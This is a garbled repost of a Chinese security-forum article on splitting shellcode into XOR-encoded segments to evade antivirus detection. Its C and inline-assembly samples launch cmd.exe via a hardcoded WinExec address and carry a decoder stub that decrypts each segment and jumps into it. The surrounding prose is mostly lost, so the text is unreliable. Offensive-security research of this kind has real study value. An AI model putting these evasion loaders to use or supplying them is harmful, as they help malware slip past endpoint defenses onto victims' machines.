[15124] 2020-03-13_关于分段免杀执行的思考

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-03-13_关于分段免杀执行的思考   e r   F r e e B u f   2 0 2 0 - 0 3 - 1 3 s h e l l c o d e 1 2 3 s h e l l c o d e x o r c m d 0 x 0 0 0 x 7 7 3 1 d a b 0 w i n e x e c 0 x 0 1   s h e l l c o d e # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {               c h a r   * s t r = " c m d . e x e " ;     _ _ a s m {                             m o v   e a x , s t r                             p u s h   5                                                   ; 5 = S W _ S H O W                             p u s h   e a x                             m o v   e a x , 0 x 7 7 3 1 d a b 0                             / / 0 x 7 7 3 1 d a b 0                             / / c a l l   d w o r d   p t r   [ W i n E x e c ]                             c a l l   e a x               }               r e t u r n   0 ; } # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " c h a r   s h e l l c o d e [ ] = " x 8 B x 4 5 x F c x 6 A x 0 5 x 5 0 x B 8 x B 0 x D A x 5 0 x 7 5 x F F x D 0 " ; i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         c h a r   * s t r = " c m d . e x e " ;         _ _ a s m {                 l e a   e a x , s h e l l c o d e                 c a l l   e a x         }         r e t u r n   0 ; }
0 x 0 2   x o r s h e l l c o d e 0 x 5 1 , 0 x 4 7 , 0 x 8 1 s h e l l c o d e 0 x 5 1 x 8 B x 4 5 x F c 0 x 4 7 x 6 A x 0 5 x 5 0 x B 8 x B 0 x D A x 5 0 x 7 5 0 x 8 1 x F F x D 0 x 9 0 x 9 0 s h e l l c o d e x d a x 1 4 x a d x c 1 x 2 d x 4 2 x 1 7 x f f x f 7 x 9 d x 1 7 x 3 2 x d 7 x 7 e x 5 1 x 1 1 0 x 0 3   b h b l 9 0 h 9 0 h e x e c t e r e t s h e l l c o d e r e t s h e l l c o d e s h e l l o c d e 便 s h e l l c o d e 0 x 0 4   s h e l l c o d e s h e l l c o d e d e c o d e :                         m o v   b l , b y t e   p t r   d s : [ e c x + e d x ]                 x o r   b l , b h                 m o v   b y t e   p t r   d s : [ e c x + e d x ] , b l                 i n c   e d x                 c m p   b l , 9 0 h                 j e   e x e c u t e                 j m p   d e c o d e e x e c u t e :                         a d d   e c x , e d x                 / / e c x                 r e t         _ _ a s m {                 x o r   e d x , e d x                 m o v   b h , 5 1 h                 / / b h k e y d e c o d e :         m o v   b l , b y t e   p t r   d s : [ e c x + e d x ]                 x o r   b l , b h                 m o v   b y t e   p t r   d s : [ e c x + e d x ] , b l                 i n c   e d x                 c m p   b l , 9 0 h                 j e   e x e c u t e                 j m p   d e c o d e e x e c u t e :                         a d d   e c x , e d x                 / / e c x                 r e t         }         _ _ a s m {                 p u s h   e d x         / / d e c o d e                 a d d   e c x , 1 9         / / e c x s h e l l c d o e                 p u s h   e c x         / / s h e l l c o d e                 p u s h   e a x         / / e a x e a x e a x
s h e l l c o d e e d x c a l l   e a x j m p   e b x s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e 0 x 0 5   s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e c a l l   e a x e c x s h e l l c o d e a d d e c x , e d x e c x s h e l l c o d e 1 a d d   e c x , 1 9 1 9 e c x s h l l c o d e s h l l c o d e 0 x 0 6                   p u s h   e a x         / / e a x e a x e a x                 m o v   e a x , e d x         / / d e c o d e e a x                 x o r   e d x , e d x                 m o v   b h , 4 7 h         / / k e y s h e l l c o d e k e y                 c a l l   e a x                         p o p   e a x                 p o p   e b x                 / / s h e l l c o d e                 p o p   e d x                 / / d e c o d e                 j m p   e b x                 / / s h e l l c o d e         } # i n c l u d e   " s t d i o . h " # i n c l u d e   " w i n d o w s . h " # i n c l u d e   < s t r i n g . h > # i n c l u d e   " s t d l i b . h " u n s i g n e d   c h a r   e n c o d e [ ] = " x 3 3 x D 2 x B 7 x 5 1 x 3 E x 8 A x 1 C x 1 1 x 3 2 x D F x 3 E x 8 8 x 1 C x 1 1 x 4 2 x 8 0 x F B x 9 0 x 7 4 x 0 2 x E B x E E x 0 3 x C A x C 3 " " x d a x 1 4 x a d x c 1 " " x 5 2 x 8 3 x C 1 x 1 3 x 5 1 x 5 0 x 8 B x C 2 x 3 3 x D 2 x B 7 x 4 7 x F F x D 0 x 5 8 x 5 B x 5 A x F F x E 3 " " x 2 d x 4 2 x 1 7 x f f x f 7 x 9 d x 7 6 x 3 0 x d 7 " " x 5 2 x 8 3 x C 1 x 1 3 x 5 1 x 5 0 x 8 B x C 2 x 3 3 x D 2 x B 7 x 8 1 x F F x D 0 x 5 8 x 5 B x 5 A x F F x E 3 " " x 7 e x 5 1 x 1 1 " ; i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         c h a r   * s t r = " c m d . e x e " ;         _ _ a s m {                 l e a   e c x , e n c o d e                 / / e n c o d e + s h e l l c o d e                 m o v   e d x , e c x                 a d d   e c x , 2 5                         / / e c x s h e l l c o d e x o r   e d x , e d x r e t                 p u s h   e c x                         / / s h e l l c o d e                                         s u b   e c x , 2 1                         / / d e c o d e 2 1 s h e l l c o d e                 p u s h   e c x                         / /                 a d d   e c x , 2 1                 c a l l   e d x                         / /                 p o p   e d x                                 / /                                         p o p   e b x                                 / / s h e l l c c o d e                 j m p   e b x         }         r e t u r n   0 ; }
s h e l l c o d e s h e l l c o d e s h e l l c o d e j m p s h e l l c o d e 0 x 0 4 s h e l l c o d e 0 x 0 7   1 2 r e t 3 p u s h p o p s h l l c o d e * e r F r e e B u f }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则